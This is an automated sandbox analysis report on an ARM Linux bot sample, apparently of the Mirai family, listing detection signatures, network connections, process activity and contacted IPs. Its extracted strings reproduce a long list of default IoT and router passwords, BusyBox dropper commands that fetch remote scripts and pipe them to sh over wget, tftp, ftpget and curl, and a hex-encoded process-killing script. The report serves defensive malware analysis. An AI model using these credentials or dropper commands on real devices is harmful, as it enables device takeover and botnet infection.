Linux Analysis Report
la.bot.arm5.elf

Overview

General Information

Sample name: la.bot.arm5.elf
Analysis ID: 1541490
MD5: 15e901d18699cad784d1749aeb4abac7
SHA1: 576784da0534620d3a577a6aab37c411a898a9b9
SHA256: 70d21e6b2370b74b435e0decde36dde59e7b9bc52b1b8d4bb15ea5c82da82629
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 68
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Deletes system log files
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Uses known network protocols on non-standard ports
Creates hidden files and/or directories
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: la.bot.arm5.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: la.bot.arm5.elf ReversingLabs: Detection: 34%
Found strings indicative of a multi-platform dropper
Source: la.bot.arm5.elf String: ash|login|wget|curl|tftp|ntpdate
Source: la.bot.arm5.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.arm5.elf String: /exe/maps|ash|login|wget|curl|tftp|ntpdate/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/fd/fd//proc/ash|login|wget|curl|tftp|ntpdate|ftp/lib//dev/watchdog/dev/misc/watchdogtelnetd|udhcpc|ntpclient|boa|httpd|mini_http|watchdog|pppdM
Source: la.bot.arm5.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking
barindex
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 23 -> 43588
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:41344 -> 156.244.19.135:7193
Sample listens on a socket
Source: /tmp/la.bot.arm5.elf (PID: 6212) Socket: 127.0.0.1:1234 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: unknown TCP traffic detected without corresponding DNS query: 204.31.189.112
Source: unknown TCP traffic detected without corresponding DNS query: 204.31.189.112
Source: unknown TCP traffic detected without corresponding DNS query: 186.103.42.56
Source: unknown TCP traffic detected without corresponding DNS query: 186.103.42.56
Source: unknown TCP traffic detected without corresponding DNS query: 91.55.153.66
Source: unknown TCP traffic detected without corresponding DNS query: 91.55.153.66
Source: unknown TCP traffic detected without corresponding DNS query: 77.160.213.141
Source: unknown TCP traffic detected without corresponding DNS query: 77.160.213.141
Source: unknown TCP traffic detected without corresponding DNS query: 145.81.234.29
Source: unknown TCP traffic detected without corresponding DNS query: 145.81.234.29
Source: unknown TCP traffic detected without corresponding DNS query: 155.202.165.107
Source: unknown TCP traffic detected without corresponding DNS query: 155.202.165.107
Source: unknown TCP traffic detected without corresponding DNS query: 93.160.20.7
Source: unknown TCP traffic detected without corresponding DNS query: 93.160.20.7
Source: unknown TCP traffic detected without corresponding DNS query: 102.111.36.90
Source: unknown TCP traffic detected without corresponding DNS query: 102.111.36.90
Source: unknown TCP traffic detected without corresponding DNS query: 24.118.133.131
Source: unknown TCP traffic detected without corresponding DNS query: 24.118.133.131
Source: unknown TCP traffic detected without corresponding DNS query: 118.223.163.155
Source: unknown TCP traffic detected without corresponding DNS query: 118.223.163.155
Source: unknown TCP traffic detected without corresponding DNS query: 192.29.7.201
Source: unknown TCP traffic detected without corresponding DNS query: 192.29.7.201
Source: unknown TCP traffic detected without corresponding DNS query: 118.39.238.122
Source: unknown TCP traffic detected without corresponding DNS query: 118.39.238.122
Source: unknown TCP traffic detected without corresponding DNS query: 171.251.61.146
Source: unknown TCP traffic detected without corresponding DNS query: 171.251.61.146
Source: unknown TCP traffic detected without corresponding DNS query: 140.72.153.224
Source: unknown TCP traffic detected without corresponding DNS query: 140.72.153.224
Source: unknown TCP traffic detected without corresponding DNS query: 220.161.192.231
Source: unknown TCP traffic detected without corresponding DNS query: 220.161.192.231
Source: unknown TCP traffic detected without corresponding DNS query: 45.169.219.162
Source: unknown TCP traffic detected without corresponding DNS query: 45.169.219.162
Source: unknown TCP traffic detected without corresponding DNS query: 104.16.39.27
Source: unknown TCP traffic detected without corresponding DNS query: 104.16.39.27
Source: unknown TCP traffic detected without corresponding DNS query: 137.151.126.29
Source: unknown TCP traffic detected without corresponding DNS query: 137.151.126.29
Source: unknown TCP traffic detected without corresponding DNS query: 202.116.230.100
Source: unknown TCP traffic detected without corresponding DNS query: 202.116.230.100
Source: unknown TCP traffic detected without corresponding DNS query: 33.118.48.120
Source: unknown TCP traffic detected without corresponding DNS query: 33.118.48.120
Source: unknown TCP traffic detected without corresponding DNS query: 204.165.203.162
Source: unknown TCP traffic detected without corresponding DNS query: 204.165.203.162
Source: unknown TCP traffic detected without corresponding DNS query: 49.5.194.34
Source: unknown TCP traffic detected without corresponding DNS query: 217.200.73.24
Source: unknown TCP traffic detected without corresponding DNS query: 49.5.194.34
Source: unknown TCP traffic detected without corresponding DNS query: 217.200.73.24
Source: unknown TCP traffic detected without corresponding DNS query: 113.30.74.26
Source: unknown TCP traffic detected without corresponding DNS query: 113.30.74.26
Source: unknown TCP traffic detected without corresponding DNS query: 197.103.250.185
Source: unknown TCP traffic detected without corresponding DNS query: 207.137.221.192
Source: global traffic DNS traffic detected: DNS query: fortyfivehundred.dyn
Source: la.bot.arm5.elf String found in binary or memory: http:///curl.sh
Source: la.bot.arm5.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/la.bot.arm5.elf (PID: 6212) SIGKILL sent: pid: 936, result: successful Jump to behavior
Source: classification engine Classification label: mal68.troj.evad.linELF@0/0@1/0

Data Obfuscation
barindex
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Source: /tmp/la.bot.arm5.elf (PID: 6216) File: /etc/config Jump to behavior
Creates hidden files and/or directories
Source: /tmp/la.bot.arm5.elf (PID: 6216) Directory: /root/.cache Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6216) Directory: /root/.ssh Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6216) Directory: /root/.config Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6216) Directory: /root/.local Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6216) Directory: /tmp/.X11-unix Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6216) Directory: /tmp/.Test-unix Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6216) Directory: /tmp/.font-unix Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6216) Directory: /tmp/.ICE-unix Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6216) Directory: /tmp/.XIM-unix Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6216) Directory: /etc/.java Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/230/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/110/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/231/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/111/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/232/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/112/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/233/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/113/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/234/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/114/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/235/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/115/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/236/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/116/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/237/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/117/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/118/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/910/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/119/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/912/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/10/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/11/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/918/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/12/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/13/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/14/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/15/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/16/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/17/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/18/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/120/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/121/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/1/maps Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/122/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/243/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/123/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/2/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/124/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/3/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/4/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/125/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/126/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/127/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/6/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/248/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/128/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/249/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/9/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/801/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/20/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/21/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/22/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/23/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/24/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/25/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/26/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/27/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/28/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/29/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/491/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/250/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/130/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/251/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/252/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/132/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/253/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/254/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/255/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/256/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/257/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/379/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/258/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/259/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/936/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/30/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/35/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/260/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/261/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/141/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/262/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/263/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/264/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/144/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/265/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/266/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/267/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/269/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/270/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/272/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/274/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/278/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/157/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/281/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/286/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/720/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/721/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/847/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/77/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/78/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/79/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/80/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/81/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6212) File opened: /proc/82/fd Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Deletes system log files
Source: /tmp/la.bot.arm5.elf (PID: 6216) Log files deleted: /var/log/kern.log Jump to behavior
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 23 -> 43588
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/la.bot.arm5.elf (PID: 6212) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.arm5.elf, 6212.1.00007ffc28e06000.00007ffc28e27000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/la.bot.arm5.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.arm5.elf
Source: la.bot.arm5.elf, 6212.1.0000562e09846000.0000562e099b5000.rw-.sdmp Binary or memory string: .V!/etc/qemu-binfmt/arm
Source: la.bot.arm5.elf, 6212.1.0000562e09846000.0000562e099b5000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: la.bot.arm5.elf, 6212.1.00007ffc28e06000.00007ffc28e27000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
81.212.162.142
 unknown Turkey
9121 TTNETTR false
223.52.45.64
 unknown Korea Republic of
9644 SKTELECOM-NET-ASSKTelecomKR false
61.226.122.213
 unknown Taiwan; Republic of China (ROC)
3462 HINETDataCommunicationBusinessGroupTW false
178.77.101.207
 unknown Germany
8972 GD-EMEA-DC-SXB1DE false
128.169.88.233
 unknown United States
16989 UTMEMUS false
83.137.52.57
 unknown Russian Federation
31415 SVSCOMM-ASRU false
116.24.12.148
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
198.246.6.54
 unknown United States
16489 WEBSTERUS false
128.135.96.114
 unknown United States
160 U-CHICAGO-ASUS false
149.172.199.242
 unknown Germany
6830 LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding false
71.101.3.233
 unknown United States
701 UUNETUS false
150.7.8.218
 unknown Japan 2907 SINET-ASResearchOrganizationofInformationandSystemsN false
29.59.233.255
 unknown United States
7922 COMCAST-7922US false
54.43.11.219
 unknown United States
14618 AMAZON-AESUS false
74.59.255.212
 unknown Canada
5769 VIDEOTRONCA false
209.101.239.84
 unknown United States
4565 MEGAPATH2-US false
188.166.237.164
 unknown Netherlands
14061 DIGITALOCEAN-ASNUS false
56.168.208.201
 unknown United States
2686 ATGS-MMD-ASUS false
98.184.116.210
 unknown United States
22773 ASN-CXA-ALL-CCI-22773-RDCUS false
189.12.160.70
 unknown Brazil
7738 TelemarNorteLesteSABR false
26.233.196.134
 unknown United States
7922 COMCAST-7922US false
187.112.67.107
 unknown Brazil
18881 TELEFONICABRASILSABR false
195.98.25.244
 unknown Slovakia (SLOVAK Republic)
5578 AS-BENESTRABratislavaSlovakRepublicSK false
92.184.135.28
 unknown France
12479 UNI2-ASES false
183.116.245.174
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
132.53.41.241
 unknown United States
385 AFCONC-BLOCK1-ASUS false
17.199.80.179
 unknown United States
714 APPLE-ENGINEERINGUS false
196.49.51.154
 unknown unknown
36864 AFRIBONEMALI-ASML false
180.166.119.17
 unknown China
4812 CHINANET-SH-APChinaTelecomGroupCN false
30.44.133.106
 unknown United States
7922 COMCAST-7922US false
8.57.76.250
 unknown United States
3356 LEVEL3US false
169.1.35.146
 unknown South Africa
37611 AfrihostZA false
96.254.194.228
 unknown United States
701 UUNETUS false
74.202.247.83
 unknown United States
40551 ATVI-NETWORK-ASNUS false
194.28.213.53
 unknown Russian Federation
51158 MTREND-ASRU false
14.174.87.248
 unknown Viet Nam
45899 VNPT-AS-VNVNPTCorpVN false
138.220.137.211
 unknown United States
10497 WORLDBANKUS false
117.151.170.164
 unknown China
9808 CMNET-GDGuangdongMobileCommunicationCoLtdCN false
221.118.228.173
 unknown Japan 9354 TDNCCommunityNetworkCenterIncJP false
137.111.129.215
 unknown Australia
7575 AARNET-AS-APAustralianAcademicandResearchNetworkAARNe false
19.190.171.237
 unknown United States
3 MIT-GATEWAYSUS false
75.33.57.69
 unknown United States
7018 ATT-INTERNET4US false
119.111.125.194
 unknown Philippines
9299 IPG-AS-APPhilippineLongDistanceTelephoneCompanyPH false
79.174.178.111
 unknown Norway
24631 FANAPTELECOM-FCPIR false
178.201.98.183
 unknown Germany
6830 LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding false
146.172.234.233
 unknown Norway
2119 TELENOR-NEXTELTelenorNorgeASNO false
181.91.18.22
 unknown Argentina
7303 TelecomArgentinaSAAR false
80.21.169.134
 unknown Italy
3269 ASN-IBSNAZIT false
155.167.154.238
 unknown United States
20057 ATT-MOBILITY-LLC-AS20057US false
141.143.91.247
 unknown Sweden
1224 NCSA-ASUS false
8.150.51.39
 unknown Singapore
37963 CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd false
52.207.142.241
 unknown United States
14618 AMAZON-AESUS false
169.43.150.215
 unknown Switzerland
37611 AfrihostZA false
105.30.247.226
 unknown Mauritius
37100 SEACOM-ASMU false
37.186.250.132
 unknown Italy
12874 FASTWEBIT false
5.2.249.120
 unknown Romania
8708 RCS-RDS73-75DrStaicoviciRO false
149.95.183.237
 unknown United States
174 COGENT-174US false
112.254.207.174
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
186.203.67.34
 unknown Brazil
26615 TIMSABR false
34.36.245.246
 unknown United States
2686 ATGS-MMD-ASUS false
75.184.165.179
 unknown United States
